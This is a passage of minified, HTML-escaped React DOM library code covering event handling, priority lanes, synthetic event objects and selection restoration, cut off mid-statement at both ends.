Error(r(137,f));if(m.dangerouslySetInnerHTML!=null){if(m.children!=null)throw Error(r(60));if(typeof m.dangerouslySetInnerHTML!=&quot;object&quot;||!(&quot;__html&quot;in m.dangerouslySetInnerHTML))throw Error(r(61))}if(m.style!=null&amp;&amp;typeof m.style!=&quot;object&quot;)throw Error(r(62))}}function re(f,m){if(f.indexOf(&quot;-&quot;)===-1)return typeof m.is==&quot;string&quot;;switch(f){case&quot;annotation-xml&quot;:case&quot;color-profile&quot;:case&quot;font-face&quot;:case&quot;font-face-src&quot;:case&quot;font-face-uri&quot;:case&quot;font-face-format&quot;:case&quot;font-face-name&quot;:case&quot;missing-glyph&quot;:return!1;default:return!0}}var We=null;function Tt(f){return f=f.target||f.srcElement||window,f.correspondingUseElement&amp;&amp;(f=f.correspondingUseElement),f.nodeType===3?f.parentNode:f}var H=null,ze=null,Ze=null;function he(f){if(f=E0(f)){if(typeof H!=&quot;function&quot;)throw Error(r(280));var m=f.stateNode;m&amp;&amp;(m=Uc(m),H(f.stateNode,f.type,m))}}function De(f){ze?Ze?Ze.push(f):Ze=[f]:ze=f}function qe(){if(ze){var f=ze,m=Ze;if(Ze=ze=null,he(f),m)for(f=0;f&lt;m.length;f++)he(m[f])}}function dr(f,m){return f(m)}function Xt(){}var Te=!1;function zt(f,m,b){if(Te)return f(m,b);Te=!0;try{return dr(f,m,b)}finally{Te=!1,(ze!==null||Ze!==null)&amp;&amp;(Xt(),qe())}}function qr(f,m){var b=f.stateNode;if(b===null)return null;var k=Uc(b);if(k===null)return null;b=k[m];e:switch(m){case&quot;onClick&quot;:case&quot;onClickCapture&quot;:case&quot;onDoubleClick&quot;:case&quot;onDoubleClickCapture&quot;:case&quot;onMouseDown&quot;:case&quot;onMouseDownCapture&quot;:case&quot;onMouseMove&quot;:case&quot;onMouseMoveCapture&quot;:case&quot;onMouseUp&quot;:case&quot;onMouseUpCapture&quot;:case&quot;onMouseEnter&quot;:(k=!k.disabled)||(f=f.type,k=!(f===&quot;button&quot;||f===&quot;input&quot;||f===&quot;select&quot;||f===&quot;textarea&quot;)),f=!k;break e;default:f=!1}if(f)return null;if(b&amp;&amp;typeof b!=&quot;function&quot;)throw Error(r(231,m,typeof b));return b}var kr=!1;if(l)try{var fr={};Object.defineProperty(fr,&quot;passive&quot;,{get:function(){kr=!0}}),window.addEventListener(&quot;test&quot;,fr,fr),window.removeEventListener(&quot;test&quot;,fr,fr)}catch{kr=!1}function Ft(f,m,b,k,z,K,fe,ke,Ue){var At=Array.prototype.slice.call(arguments,3);try{m.apply(b,At)}catch(er){this.onError(er)}}var Gr=!1,Zr=null,xi=!1,Ji=null,Pn={onError:function(f){Gr=!0,Zr=f}};function Mi(f,m,b,k,z,K,fe,ke,Ue){Gr=!1,Zr=null,Ft.apply(Pn,arguments)}function Sn(f,m,b,k,z,K,fe,ke,Ue){if(Mi.apply(this,arguments),Gr){if(Gr){var At=Zr;Gr=!1,Zr=null}else throw Error(r(198));xi||(xi=!0,Ji=At)}}function si(f){var m=f,b=f;if(f.alternate)for(;m.return;)m=m.return;else{f=m;do m=f,(m.flags&amp;4098)!==0&amp;&amp;(b=m.return),f=m.return;while(f)}return m.tag===3?b:null}function ia(f){if(f.tag===13){var m=f.memoizedState;if(m===null&amp;&amp;(f=f.alternate,f!==null&amp;&amp;(m=f.memoizedState)),m!==null)return m.dehydrated}return null}function aa(f){if(si(f)!==f)throw Error(r(188))}function go(f){var m=f.alternate;if(!m){if(m=si(f),m===null)throw Error(r(188));return m!==f?null:f}for(var b=f,k=m;;){var z=b.return;if(z===null)break;var K=z.alternate;if(K===null){if(k=z.return,k!==null){b=k;continue}break}if(z.child===K.child){for(K=z.child;K;){if(K===b)return aa(z),f;if(K===k)return aa(z),m;K=K.sibling}throw Error(r(188))}if(b.return!==k.return)b=z,k=K;else{for(var fe=!1,ke=z.child;ke;){if(ke===b){fe=!0,b=z,k=K;break}if(ke===k){fe=!0,k=z,b=K;break}ke=ke.sibling}if(!fe){for(ke=K.child;ke;){if(ke===b){fe=!0,b=K,k=z;break}if(ke===k){fe=!0,k=K,b=z;break}ke=ke.sibling}if(!fe)throw Error(r(189))}}if(b.alternate!==k)throw Error(r(190))}if(b.tag!==3)throw Error(r(188));return b.stateNode.current===b?f:m}function Ui(f){return f=go(f),f!==null?ni(f):null}function ni(f){if(f.tag===5||f.tag===6)return f;for(f=f.child;f!==null;){var m=ni(f);if(m!==null)return m;f=f.sibling}return null}var Ma=t.unstable_scheduleCallback,Xa=t.unstable_cancelCallback,es=t.unstable_shouldYield,Ua=t.unstable_requestPaint,pr=t.unstable_now,Hs=t.unstable_getCurrentPriorityLevel,wi=t.unstable_ImmediatePriority,za=t.unstable_UserBlockingPriority,$a=t.unstable_NormalPriority,qs=t.unstable_LowPriority,to=t.unstable_IdlePriority,Ha=null,oi=null;function Bs(f){if(oi&amp;&amp;typeof oi.onCommitFiberRoot==&quot;function&quot;)try{oi.onCommitFiberRoot(Ha,f,void 0,(f.current.flags&amp;128)===128)}catch{}}var Sa=Math.clz32?Math.clz32:Qe,me=Math.log,pe=Math.LN2;function Qe(f){return f&gt;&gt;&gt;=0,f===0?32:31-(me(f)/pe|0)|0}var $e=64,nt=4194304;function vt(f){switch(f&amp;-f){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return f&amp;4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return f&amp;130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return f}}function Mt(f,m){var b=f.pendingLanes;if(b===0)return 0;var k=0,z=f.suspendedLanes,K=f.pingedLanes,fe=b&amp;268435455;if(fe!==0){var ke=fe&amp;~z;ke!==0?k=vt(ke):(K&amp;=fe,K!==0&amp;&amp;(k=vt(K)))}else fe=b&amp;~z,fe!==0?k=vt(fe):K!==0&amp;&amp;(k=vt(K));if(k===0)return 0;if(m!==0&amp;&amp;m!==k&amp;&amp;(m&amp;z)===0&amp;&amp;(z=k&amp;-k,K=m&amp;-m,z&gt;=K||z===16&amp;&amp;(K&amp;4194240)!==0))return m;if((k&amp;4)!==0&amp;&amp;(k|=b&amp;16),m=f.entangledLanes,m!==0)for(f=f.entanglements,m&amp;=k;0&lt;m;)b=31-Sa(m),z=1&lt;&lt;b,k|=f[b],m&amp;=~z;return k}function Ot(f,m){switch(f){case 1:case 2:case 4:return m+250;case 8:case 16:case 32:case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return m+5e3;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return-1;case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function ur(f,m){for(var b=f.suspendedLanes,k=f.pingedLanes,z=f.expirationTimes,K=f.pendingLanes;0&lt;K;){var fe=31-Sa(K),ke=1&lt;&lt;fe,Ue=z[fe];Ue===-1?((ke&amp;b)===0||(ke&amp;k)!==0)&amp;&amp;(z[fe]=Ot(ke,m)):Ue&lt;=m&amp;&amp;(f.expiredLanes|=ke),K&amp;=~ke}}function Gt(f){return f=f.pendingLanes&amp;-1073741825,f!==0?f:f&amp;1073741824?1073741824:0}function wr(){var f=$e;return $e&lt;&lt;=1,($e&amp;4194240)===0&amp;&amp;($e=64),f}function Rr(f){for(var m=[],b=0;31&gt;b;b++)m.push(f);return m}function fn(f,m,b){f.pendingLanes|=m,m!==536870912&amp;&amp;(f.suspendedLanes=0,f.pingedLanes=0),f=f.eventTimes,m=31-Sa(m),f[m]=b}function Ei(f,m){var b=f.pendingLanes&amp;~m;f.pendingLanes=m,f.suspendedLanes=0,f.pingedLanes=0,f.expiredLanes&amp;=m,f.mutableReadLanes&amp;=m,f.entangledLanes&amp;=m,m=f.entanglements;var k=f.eventTimes;for(f=f.expirationTimes;0&lt;b;){var z=31-Sa(b),K=1&lt;&lt;z;m[z]=0,k[z]=-1,f[z]=-1,b&amp;=~K}}function mn(f,m){var b=f.entangledLanes|=m;for(f=f.entanglements;b;){var k=31-Sa(b),z=1&lt;&lt;k;z&amp;m|f[k]&amp;m&amp;&amp;(f[k]|=m),b&amp;=~z}}var Kr=0;function xa(f){return f&amp;=-f,1&lt;f?4&lt;f?(f&amp;268435455)!==0?16:536870912:4:1}var ro,ts,Dl,Uo,zo,Ao=!1,Gs=[],rs=null,Vs=null,ks=null,zi=new Map,xo=new Map,va=[],Tc=&quot;mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset submit&quot;.split(&quot; &quot;);function ml(f,m){switch(f){case&quot;focusin&quot;:case&quot;focusout&quot;:rs=null;break;case&quot;dragenter&quot;:case&quot;dragleave&quot;:Vs=null;break;case&quot;mouseover&quot;:case&quot;mouseout&quot;:ks=null;break;case&quot;pointerover&quot;:case&quot;pointerout&quot;:zi.delete(m.pointerId);break;case&quot;gotpointercapture&quot;:case&quot;lostpointercapture&quot;:xo.delete(m.pointerId)}}function Ws(f,m,b,k,z,K){return f===null||f.nativeEvent!==K?(f={blockedOn:m,domEventName:b,eventSystemFlags:k,nativeEvent:K,targetContainers:[z]},m!==null&amp;&amp;(m=E0(m),m!==null&amp;&amp;ts(m)),f):(f.eventSystemFlags|=k,m=f.targetContainers,z!==null&amp;&amp;m.indexOf(z)===-1&amp;&amp;m.push(z),f)}function Au(f,m,b,k,z){switch(m){case&quot;focusin&quot;:return rs=Ws(rs,f,m,b,k,z),!0;case&quot;dragenter&quot;:return Vs=Ws(Vs,f,m,b,k,z),!0;case&quot;mouseover&quot;:return ks=Ws(ks,f,m,b,k,z),!0;case&quot;pointerover&quot;:var K=z.pointerId;return zi.set(K,Ws(zi.get(K)||null,f,m,b,k,z)),!0;case&quot;gotpointercapture&quot;:return K=z.pointerId,xo.set(K,Ws(xo.get(K)||null,f,m,b,k,z)),!0}return!1}function Ba(f){var m=so(f.target);if(m!==null){var b=si(m);if(b!==null){if(m=b.tag,m===13){if(m=ia(b),m!==null){f.blockedOn=m,zo(f.priority,function(){Dl(b)});return}}else if(m===3&amp;&amp;b.stateNode.current.memoizedState.isDehydrated){f.blockedOn=b.tag===3?b.stateNode.containerInfo:null;return}}}f.blockedOn=null}function ec(f){if(f.blockedOn!==null)return!1;for(var m=f.targetContainers;0&lt;m.length;){var b=qa(f.domEventName,f.eventSystemFlags,m[0],f.nativeEvent);if(b===null){b=f.nativeEvent;var k=new b.constructor(b.type,b);We=k,b.target.dispatchEvent(k),We=null}else return m=E0(b),m!==null&amp;&amp;ts(m),f.blockedOn=b,!1;m.shift()}return!0}function xu(f,m,b){ec(f)&amp;&amp;b.delete(m)}function $i(){Ao=!1,rs!==null&amp;&amp;ec(rs)&amp;&amp;(rs=null),Vs!==null&amp;&amp;ec(Vs)&amp;&amp;(Vs=null),ks!==null&amp;&amp;ec(ks)&amp;&amp;(ks=null),zi.forEach(xu),xo.forEach(xu)}function vo(f,m){f.blockedOn===m&amp;&amp;(f.blockedOn=null,Ao||(Ao=!0,t.unstable_scheduleCallback(t.unstable_NormalPriority,$i)))}function tc(f){function m(z){return vo(z,f)}if(0&lt;Gs.length){vo(Gs[0],f);for(var b=1;b&lt;Gs.length;b++){var k=Gs[b];k.blockedOn===f&amp;&amp;(k.blockedOn=null)}}for(rs!==null&amp;&amp;vo(rs,f),Vs!==null&amp;&amp;vo(Vs,f),ks!==null&amp;&amp;vo(ks,f),zi.forEach(m),xo.forEach(m),b=0;b&lt;va.length;b++)k=va[b],k.blockedOn===f&amp;&amp;(k.blockedOn=null);for(;0&lt;va.length&amp;&amp;(b=va[0],b.blockedOn===null);)Ba(b),b.blockedOn===null&amp;&amp;va.shift()}var yo=_.ReactCurrentBatchConfig,sa=!0;function $o(f,m,b,k){var z=Kr,K=yo.transition;yo.transition=null;try{Kr=1,ka(f,m,b,k)}finally{Kr=z,yo.transition=K}}function ms(f,m,b,k){var z=Kr,K=yo.transition;yo.transition=null;try{Kr=4,ka(f,m,b,k)}finally{Kr=z,yo.transition=K}}function ka(f,m,b,k){if(sa){var z=qa(f,m,b,k);if(z===null)lc(f,m,k,ps,b),ml(f,k);else if(Au(z,f,m,b,k))k.stopPropagation();else if(ml(f,k),m&amp;4&amp;&amp;-1&lt;Tc.indexOf(f)){for(;z!==null;){var K=E0(z);if(K!==null&amp;&amp;ro(K),K=qa(f,m,b,k),K===null&amp;&amp;lc(f,m,k,ps,b),K===z)break;z=K}z!==null&amp;&amp;k.stopPropagation()}else lc(f,m,k,null,b)}}var ps=null;function qa(f,m,b,k){if(ps=null,f=Tt(k),f=so(f),f!==null)if(m=si(f),m===null)f=null;else if(b=m.tag,b===13){if(f=ia(m),f!==null)return f;f=null}else if(b===3){if(m.stateNode.current.memoizedState.isDehydrated)return m.tag===3?m.stateNode.containerInfo:null;f=null}else m!==f&amp;&amp;(f=null);return ps=f,null}function ya(f){switch(f){case&quot;cancel&quot;:case&quot;click&quot;:case&quot;close&quot;:case&quot;contextmenu&quot;:case&quot;copy&quot;:case&quot;cut&quot;:case&quot;auxclick&quot;:case&quot;dblclick&quot;:case&quot;dragend&quot;:case&quot;dragstart&quot;:case&quot;drop&quot;:case&quot;focusin&quot;:case&quot;focusout&quot;:case&quot;input&quot;:case&quot;invalid&quot;:case&quot;keydown&quot;:case&quot;keypress&quot;:case&quot;keyup&quot;:case&quot;mousedown&quot;:case&quot;mouseup&quot;:case&quot;paste&quot;:case&quot;pause&quot;:case&quot;play&quot;:case&quot;pointercancel&quot;:case&quot;pointerdown&quot;:case&quot;pointerup&quot;:case&quot;ratechange&quot;:case&quot;reset&quot;:case&quot;resize&quot;:case&quot;seeked&quot;:case&quot;submit&quot;:case&quot;touchcancel&quot;:case&quot;touchend&quot;:case&quot;touchstart&quot;:case&quot;volumechange&quot;:case&quot;change&quot;:case&quot;selectionchange&quot;:case&quot;textInput&quot;:case&quot;compositionstart&quot;:case&quot;compositionend&quot;:case&quot;compositionupdate&quot;:case&quot;beforeblur&quot;:case&quot;afterblur&quot;:case&quot;beforeinput&quot;:case&quot;blur&quot;:case&quot;fullscreenchange&quot;:case&quot;focus&quot;:case&quot;hashchange&quot;:case&quot;popstate&quot;:case&quot;select&quot;:case&quot;selectstart&quot;:return 1;case&quot;drag&quot;:case&quot;dragenter&quot;:case&quot;dragexit&quot;:case&quot;dragleave&quot;:case&quot;dragover&quot;:case&quot;mousemove&quot;:case&quot;mouseout&quot;:case&quot;mouseover&quot;:case&quot;pointermove&quot;:case&quot;pointerout&quot;:case&quot;pointerover&quot;:case&quot;scroll&quot;:case&quot;toggle&quot;:case&quot;touchmove&quot;:case&quot;wheel&quot;:case&quot;mouseenter&quot;:case&quot;mouseleave&quot;:case&quot;pointerenter&quot;:case&quot;pointerleave&quot;:return 4;case&quot;message&quot;:switch(Hs()){case wi:return 1;case za:return 4;case $a:case qs:return 16;case to:return 536870912;default:return 16}default:return 16}}var _s=null,Ks=null,oa=null;function Ni(){if(oa)return oa;var f,m=Ks,b=m.length,k,z=&quot;value&quot;in _s?_s.value:_s.textContent,K=z.length;for(f=0;f&lt;b&amp;&amp;m[f]===z[f];f++);var fe=b-f;for(k=1;k&lt;=fe&amp;&amp;m[b-k]===z[K-k];k++);return oa=z.slice(f,1&lt;k?1-k:void 0)}function pl(f){var m=f.keyCode;return&quot;charCode&quot;in f?(f=f.charCode,f===0&amp;&amp;m===13&amp;&amp;(f=13)):f=m,f===10&amp;&amp;(f=13),32&lt;=f||f===13?f:0}function ns(){return!0}function no(){return!1}function li(f){function m(b,k,z,K,fe){this._reactName=b,this._targetInst=z,this.type=k,this.nativeEvent=K,this.target=fe,this.currentTarget=null;for(var ke in f)f.hasOwnProperty(ke)&amp;&amp;(b=f[ke],this[ke]=b?b(K):K[ke]);return this.isDefaultPrevented=(K.defaultPrevented!=null?K.defaultPrevented:K.returnValue===!1)?ns:no,this.isPropagationStopped=no,this}return ne(m.prototype,{preventDefault:function(){this.defaultPrevented=!0;var b=this.nativeEvent;b&amp;&amp;(b.preventDefault?b.preventDefault():typeof b.returnValue!=&quot;unknown&quot;&amp;&amp;(b.returnValue=!1),this.isDefaultPrevented=ns)},stopPropagation:function(){var b=this.nativeEvent;b&amp;&amp;(b.stopPropagation?b.stopPropagation():typeof b.cancelBubble!=&quot;unknown&quot;&amp;&amp;(b.cancelBubble=!0),this.isPropagationStopped=ns)},persist:function(){},isPersistent:ns}),m}var Ys={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(f){return f.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},zn=li(Ys),_a=ne({},Ys,{view:0,detail:0}),ba=li(_a),gs,Tl,vu,Rc=ne({},_a,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:Ho,button:0,buttons:0,relatedTarget:function(f){return f.relatedTarget===void 0?f.fromElement===f.srcElement?f.toElement:f.fromElement:f.relatedTarget},movementX:function(f){return&quot;movementX&quot;in f?f.movementX:(f!==vu&amp;&amp;(vu&amp;&amp;f.type===&quot;mousemove&quot;?(gs=f.screenX-vu.screenX,Tl=f.screenY-vu.screenY):Tl=gs=0,vu=f),gs)},movementY:function(f){return&quot;movementY&quot;in f?f.movementY:Tl}}),sf=li(Rc),of=ne({},Rc,{dataTransfer:0}),J0=li(of),f0=ne({},_a,{relatedTarget:0}),As=li(f0),Kg=ne({},Ys,{animationName:0,elapsedTime:0,pseudoElement:0}),Yg=li(Kg),ip=ne({},Ys,{clipboardData:function(f){return&quot;clipboardData&quot;in f?f.clipboardData:window.clipboardData}}),X0=li(ip),Pc=ne({},Ys,{data:0}),fh=li(Pc),lf={Esc:&quot;Escape&quot;,Spacebar:&quot; &quot;,Left:&quot;ArrowLeft&quot;,Up:&quot;ArrowUp&quot;,Right:&quot;ArrowRight&quot;,Down:&quot;ArrowDown&quot;,Del:&quot;Delete&quot;,Win:&quot;OS&quot;,Menu:&quot;ContextMenu&quot;,Apps:&quot;ContextMenu&quot;,Scroll:&quot;ScrollLock&quot;,MozPrintableKey:&quot;Unidentified&quot;},ed={8:&quot;Backspace&quot;,9:&quot;Tab&quot;,12:&quot;Clear&quot;,13:&quot;Enter&quot;,16:&quot;Shift&quot;,17:&quot;Control&quot;,18:&quot;Alt&quot;,19:&quot;Pause&quot;,20:&quot;CapsLock&quot;,27:&quot;Escape&quot;,32:&quot; &quot;,33:&quot;PageUp&quot;,34:&quot;PageDown&quot;,35:&quot;End&quot;,36:&quot;Home&quot;,37:&quot;ArrowLeft&quot;,38:&quot;ArrowUp&quot;,39:&quot;ArrowRight&quot;,40:&quot;ArrowDown&quot;,45:&quot;Insert&quot;,46:&quot;Delete&quot;,112:&quot;F1&quot;,113:&quot;F2&quot;,114:&quot;F3&quot;,115:&quot;F4&quot;,116:&quot;F5&quot;,117:&quot;F6&quot;,118:&quot;F7&quot;,119:&quot;F8&quot;,120:&quot;F9&quot;,121:&quot;F10&quot;,122:&quot;F11&quot;,123:&quot;F12&quot;,144:&quot;NumLock&quot;,145:&quot;ScrollLock&quot;,224:&quot;Meta&quot;},Rl={Alt:&quot;altKey&quot;,Control:&quot;ctrlKey&quot;,Meta:&quot;metaKey&quot;,Shift:&quot;shiftKey&quot;};function Zg(f){var m=this.nativeEvent;return m.getModifierState?m.getModifierState(f):(f=Rl[f])?!!m[f]:!1}function Ho(){return Zg}var qo=ne({},_a,{key:function(f){if(f.key){var m=lf[f.key]||f.key;if(m!==&quot;Unidentified&quot;)return m}return f.type===&quot;keypress&quot;?(f=pl(f),f===13?&quot;Enter&quot;:String.fromCharCode(f)):f.type===&quot;keydown&quot;||f.type===&quot;keyup&quot;?ed[f.keyCode]||&quot;Unidentified&quot;:&quot;&quot;},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:Ho,charCode:function(f){return f.type===&quot;keypress&quot;?pl(f):0},keyCode:function(f){return f.type===&quot;keydown&quot;||f.type===&quot;keyup&quot;?f.keyCode:0},which:function(f){return f.type===&quot;keypress&quot;?pl(f):f.type===&quot;keydown&quot;||f.type===&quot;keyup&quot;?f.keyCode:0}}),hh=li(qo),mh=ne({},Rc,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0}),ph=li(mh),ap=ne({},_a,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:Ho}),Qc=li(ap),sp=ne({},Ys,{propertyName:0,elapsedTime:0,pseudoElement:0}),cf=li(sp),Pl=ne({},Rc,{deltaX:function(f){return&quot;deltaX&quot;in f?f.deltaX:&quot;wheelDeltaX&quot;in f?-f.wheelDeltaX:0},deltaY:function(f){return&quot;deltaY&quot;in f?f.deltaY:&quot;wheelDeltaY&quot;in f?-f.wheelDeltaY:&quot;wheelDelta&quot;in f?-f.wheelDelta:0},deltaZ:0,deltaMode:0}),op=li(Pl),gl=[9,13,27,32],uf=l&amp;&amp;&quot;CompositionEvent&quot;in window,Ql=null;l&amp;&amp;&quot;documentMode&quot;in document&amp;&amp;(Ql=document.documentMode);var yu=l&amp;&amp;&quot;TextEvent&quot;in window&amp;&amp;!Ql,bu=l&amp;&amp;(!uf||Ql&amp;&amp;8&lt;Ql&amp;&amp;11&gt;=Ql),df=&quot; &quot;,td=!1;function rc(f,m){switch(f){case&quot;keyup&quot;:return gl.indexOf(m.keyCode)!==-1;case&quot;keydown&quot;:return m.keyCode!==229;case&quot;keypress&quot;:case&quot;mousedown&quot;:case&quot;focusout&quot;:return!0;default:return!1}}function Fl(f){return f=f.detail,typeof f==&quot;object&quot;&amp;&amp;&quot;data&quot;in f?f.data:null}var Go=!1;function wu(f,m){switch(f){case&quot;compositionend&quot;:return Fl(m);case&quot;keypress&quot;:return m.which!==32?null:(td=!0,df);case&quot;textInput&quot;:return f=m.data,f===df&amp;&amp;td?null:f;default:return null}}function rd(f,m){if(Go)return f===&quot;compositionend&quot;||!uf&amp;&amp;rc(f,m)?(f=Ni(),oa=Ks=_s=null,Go=!1,f):null;switch(f){case&quot;paste&quot;:return null;case&quot;keypress&quot;:if(!(m.ctrlKey||m.altKey||m.metaKey)||m.ctrlKey&amp;&amp;m.altKey){if(m.char&amp;&amp;1&lt;m.char.length)return m.char;if(m.which)return String.fromCharCode(m.which)}return null;case&quot;compositionend&quot;:return bu&amp;&amp;m.locale!==&quot;ko&quot;?null:m.data;default:return null}}var gh={color:!0,date:!0,datetime:!0,&quot;datetime-local&quot;:!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function lp(f){var m=f&amp;&amp;f.nodeName&amp;&amp;f.nodeName.toLowerCase();return m===&quot;input&quot;?!!gh[f.type]:m===&quot;textarea&quot;}function nd(f,m,b,k){De(k),m=vs(m,&quot;onChange&quot;),0&lt;m.length&amp;&amp;(b=new zn(&quot;onChange&quot;,&quot;change&quot;,null,b,k),f.push({event:b,listeners:m}))}var h0=null,Eu=null;function id(f){oc(f,0)}function bo(f){var m=vl(f);if(Re(m))return f}function cp(f,m){if(f===&quot;change&quot;)return m}var wo=!1;if(l){var ff;if(l){var ad=&quot;oninput&quot;in document;if(!ad){var Ah=document.createElement(&quot;div&quot;);Ah.setAttribute(&quot;oninput&quot;,&quot;return;&quot;),ad=typeof Ah.oninput==&quot;function&quot;}ff=ad}else ff=!1;wo=ff&amp;&amp;(!document.documentMode||9&lt;document.documentMode)}function xh(){h0&amp;&amp;(h0.detachEvent(&quot;onpropertychange&quot;,nc),Eu=h0=null)}function nc(f){if(f.propertyName===&quot;value&quot;&amp;&amp;bo(Eu)){var m=[];nd(m,Eu,f,Tt(f)),zt(id,m)}}function up(f,m,b){f===&quot;focusin&quot;?(xh(),h0=m,Eu=b,h0.attachEvent(&quot;onpropertychange&quot;,nc)):f===&quot;focusout&quot;&amp;&amp;xh()}function m0(f){if(f===&quot;selectionchange&quot;||f===&quot;keyup&quot;||f===&quot;keydown&quot;)return bo(Eu)}function dp(f,m){if(f===&quot;click&quot;)return bo(m)}function fp(f,m){if(f===&quot;input&quot;||f===&quot;change&quot;)return bo(m)}function Jg(f,m){return f===m&amp;&amp;(f!==0||1/f===1/m)||f!==f&amp;&amp;m!==m}var io=typeof Object.is==&quot;function&quot;?Object.is:Jg;function Cu(f,m){if(io(f,m))return!0;if(typeof f!=&quot;object&quot;||f===null||typeof m!=&quot;object&quot;||m===null)return!1;var b=Object.keys(f),k=Object.keys(m);if(b.length!==k.length)return!1;for(k=0;k&lt;b.length;k++){var z=b[k];if(!c.call(m,z)||!io(f[z],m[z]))return!1}return!0}function la(f){for(;f&amp;&amp;f.firstChild;)f=f.firstChild;return f}function vh(f,m){var b=la(f);f=0;for(var k;b;){if(b.nodeType===3){if(k=f+b.textContent.length,f&lt;=m&amp;&amp;k&gt;=m)return{node:b,offset:m-f};f=k}e:{for(;b;){if(b.nextSibling){b=b.nextSibling;break e}b=b.parentNode}b=void 0}b=la(b)}}function Vo(f,m){return f&amp;&amp;m?f===m?!0:f&amp;&amp;f.nodeType===3?!1:m&amp;&amp;m.nodeType===3?Vo(f,m.parentNode):&quot;contains&quot;in f?f.contains(m):f.compareDocumentPosition?!!(f.compareDocumentPosition(m)&amp;16):!1:!1}function Wo(){for(var f=window,m=Pe();m instanceof f.HTMLIFrameElement;){try{var b=typeof m.contentWindow.location.href==&quot;string&quot;}catch{b=!1}if(b)f=m.contentWindow;else break;m=Pe(f.document)}return m}function ic(f){var m=f&amp;&amp;f.nodeName&amp;&amp;f.nodeName.toLowerCase();return m&amp;&amp;(m===&quot;input&quot;&amp;&amp;(f.type===&quot;text&quot;||f.type===&quot;search&quot;||f.type===&quot;tel&quot;||f.type===&quot;url&quot;||f.type===&quot;password&quot;)||m===&quot;textarea&quot;||f.contentEditable===&quot;true&quot;)}function p0(f){var m=Wo(),b=f.focusedElem,k=f.selectionRange;if(m!==b&amp;&amp;b&amp;&amp;b.ownerDocument&amp;&amp;Vo(b.ownerDocument.documentElement,b)){if(k!==null&amp;&amp;ic(b)){if(m=k.start,f=k.end,f===void 0&amp;&amp;(f=m),&quot;selectionStart&quot;in b)b.selectionStart=m,b.selectionEnd=Math.min(f,b.value.length);else if(f=(m=b.ownerDocument||document)&amp;&amp;m.defaultView||window,f.getSelection){f=f.getSelection();var z=b.textContent.length,K=Math.min(k.start,z);k=k.end===void 0?K:Math.min(k.end,z),!f.extend&amp;&amp;K&gt;k&amp;&amp;(z=k,k=K,K=z),z=vh(b,K);var fe=vh(b,k);z&amp;&amp;fe&amp;&amp;(f.rangeCount!==1||f.anchorNode!==z.node||f.anchorOffset!==z.offset||f.focusNode!==fe.node||f.focusOffset!==fe.offset)&amp;&amp;(m=m.createRange(),m.setStart(z.node,z.offset),f.removeAllRanges(),K&gt;k?(f.addRange(m),f.extend(fe.node,fe.offset)):(m.setEnd(fe.node,fe.offset),f.addRange(m)))}}for(m=[],f=b;f=f.parentNode;)f.nodeType===1&amp;&amp;m.push({element:f,left:f.scrollLeft,top:f.scrollTop});for(typeof b.focus==&quot;function&quot;&amp;&amp;b.focus(),b=0;b&lt;m.length;b++)f=m[b],f.element.scrollLeft=f.left,f.element.scrollTop=f.top}}var hf=l&amp;&amp;&quot;documentMode&quot;in document&amp;&amp;11&gt;=document.documentMode,ac=null,g0=null,Iu=null,Yr=!1;function ao(f,m,b){var k=b.window===b?b.document:b.nodeType===9?b:b.ownerDocument;Yr||ac==null||ac!==Pe(k)||(k=ac,&quot;selectionStart&quot;in k&amp;&amp;ic(k)?k={start:k.selectionStart,end:k.selectionEnd}:(k=(k.ownerDocument&amp;&amp;k.ownerDocument.defaultView||window).getSelection(),k={anchorNode:k.anchorNode,anchorOffset:k.anchorOffset,focusNode:k.focusNode,focusOffset:k.focusOffset}),Iu&amp;&amp;Cu(Iu,k)||(Iu=k,k=vs(g0,&quot;onSelect&quot;),0&lt;k.length&amp;&amp;(m=new zn(&quot;onSelect&quot;,&quot;select&quot;,null,m,b),f.push({event:m,listeners:k}),m.target=ac)))}function Dr(f,m){var b={};return b[f.toLowerCase()]=m.toLowerCase(),b[&quot;Webkit&quot;+f]=&quot;webkit&quot;+m,b[&quot;Moz&quot;+f]=&quot;moz&quot;+m,b}var Da={animationend:Dr(&quot;Animation&quot;,&quot;AnimationEnd&quot;),animationiteration:Dr(&quot;Animation&quot;,&quot;AnimationIteration&quot;),animationstart:Dr(&quot;Animation&quot;,&quot;AnimationStart&quot;),transitionend:Dr(&quot;Transition&quot;,&quot;TransitionEnd&quot;)},Ga={},sd={};l&amp;&amp;(sd=document.createElement(&quot;div&quot;).style,&quot;AnimationEvent&quot;in window||(delete Da.animationend.animation,delete Da.animationiteration.animation,delete Da.animationstart.animation),&quot;TransitionEvent&quot;in window||delete Da.transitionend.transition);function Al(f){if(Ga[f])return Ga[f];if(!Da[f])return f;var m=Da[f],b;for(b in m)if(m.hasOwnProperty(b)&amp;&amp;b in sd)return Ga[f]=m[b];return f}var od=Al(&quot;animationend&quot;),mf=Al(&quot;animationiteration&quot;),ju=Al(&quot;animationstart&quot;),xl=Al(&quot;transitionend&quot;),pf=new Map,ld=&quot;abort auxClick cancel canPlay canPlayThrough click close contextMenu copy cut drag dragEnd dragEnter dragExit dragLeave dragOver dragStart drop durationChange emptied encrypted ended error 